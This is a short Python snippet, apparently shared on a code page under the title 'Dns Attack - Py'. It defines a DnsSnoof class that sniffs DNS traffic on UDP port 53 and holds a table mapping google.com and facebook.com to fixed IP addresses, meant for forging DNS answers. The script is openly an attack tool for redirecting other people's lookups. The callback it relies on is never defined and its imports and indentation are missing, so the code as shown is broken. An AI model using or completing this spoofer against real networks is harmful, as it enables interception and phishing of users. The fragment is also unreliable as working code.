Dns Attack - Py
Dns Attack - Py
py - 2c
class DnsSnoof:
def __init__(self, host_dict):
self.host_dict = host_dict
def __call__(self):
log.info("Snoofing....")
# Sniff DNS packets
sniff(filter="udp and port 53", prn=self.callback)
if __name__ == '__main__':
try:
host_dict = {
b"google.com.": "142.250.70.78",
b"facebook.com.": "31.13.79.35"
}
# Configure logging
log.basicConfig(format='%(asctime)s - %(message)s', level=log.INFO)
# Create an instance of DnsSnoof and call it
dns_snoof = DnsSnoof(host_dict)
dns_snoof()
except OSError as error:
log.error(f'Error: {error}')